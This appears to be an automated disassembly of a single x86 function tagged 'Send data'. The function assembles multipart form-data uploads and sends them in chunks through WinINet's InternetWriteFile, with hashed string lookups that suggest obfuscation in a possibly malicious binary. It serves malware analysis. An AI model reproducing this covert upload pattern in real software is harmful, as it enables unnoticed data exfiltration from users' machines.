Function at 0x423516
Capabilities:
Send data

Disassembly:
sub esp, 0x414
mov eax, dword [0x517490]
xor eax, esp
mov dword [esp + 0x410], eax
mov eax, dword [esp + 0x420]
push ebx
mov ebx, dword [esp + 0x420]
push ebp
mov ebp, dword [esp + 0x420]
push esi
push edi
xor edi, edi
mov dword [esp + 0x1c], eax
push edi
lea eax, [esp + 0x24]
mov dword [esp + 0x18], ebp
push eax
push ebx
mov dword [esp + 0x1c], edi
call fcn.00422b87
add esp, 0xc
test ebp, ebp
jne 0x423601
push 0xb329682f
push 0x5caba64a
push 0xa719fa38
call fcn.0040196b
mov edx, eax
add esp, 0xc
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x423584
lea ecx, [esp + 0x20]
sub edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423594
sub ecx, esi
lea esi, [edx + 0x37]
add esi, ecx
cmp dword [esp + 0x434], edi
jbe 0x4235f9
push 0x652e69a4
push 0x8aaca7c1
push 0x711efbbb
call fcn.0040196b
add esp, 0xc
push eax
push 0x3424ebd6
push 0xdba625b3
push 0x201479cd
call fcn.0040196b
add esp, 0xc
push eax
lea eax, [esp + 0x28]
push str.__AaBbCc_r_nContent_disposition:_form_data__name__s___filename__s__r_nContent_Type:_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
push eax
call fcn.004ba78c
add eax, 2
add esp, 0x10
add eax, dword [esp + 0x434]
add esi, eax
add esi, 0xc
jmp 0x42374b
push 0x5d7862e3
push 0xb2faac86
push 0x4948f080
call fcn.0040196b
push eax
lea eax, [esp + 0x30]
push str.__AaBbCc_r_nContent_disposition:_form_data__name__s__r_n_r_n
push eax
call fcn.004ba78c
lea esi, [esp + 0x38]
add esi, eax
push 1
push esi
push ebx
call fcn.00422b87
add esi, eax
add esp, 0x24
lea eax, [esp + 0x20]
mov byte [esi], 0xd
inc esi
mov byte [esi], 0xa
sub esi, eax
lea eax, [esp + 0x10]
inc esi
push eax
push esi
lea eax, [esp + 0x28]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x42374d
mov ebx, dword [esp + 0x434]
test ebx, ebx
je 0x42370e
push 0x4cf69f24
push 0xa3745141
push 0x58c60d4f
call fcn.0040196b
add esp, 0xc
push eax
push 0x11a29c0b
push 0xfe20526e
push 0x5920e6c
call fcn.0040196b
add esp, 0xc
push eax
lea eax, [esp + 0x28]
push str.__AaBbCc_r_nContent_disposition:_form_data__name__s___filename__s__r_nContent_Type:_octet_stream_r_nContent_Transfer_Encoding:_binary_r_n_r_n
push eax
call fcn.004ba78c
add esp, 0x10
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x10]
push ecx
push eax
lea eax, [esp + 0x28]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x42374b
add esi, dword [esp + 0x18]
mov ebp, 0x400
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x20]
cmp ebx, ebp
cmovb ebp, ebx
add eax, edi
push ebp
push eax
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x42374b
add esi, ebp
add edi, ebp
sub ebx, ebp
jne 0x4236d0
mov ebp, dword [esp + 0x14]
lea edx, [esp + 0x22]
mov word [esp + 0x20], 0xa0d
jmp 0x423712
lea edx, [esp + 0x20]
mov ecx, str.__AaBbCc___r_n
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x423719
lea edi, [esp + 0x20]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x42372a
lea eax, [esp + 0x10]
sub edi, ecx
push eax
push edi
lea eax, [esp + 0x28]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x42374b
add esi, edi
mov eax, esi
mov ecx, dword [esp + 0x420]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004b94b6
add esp, 0x414
ret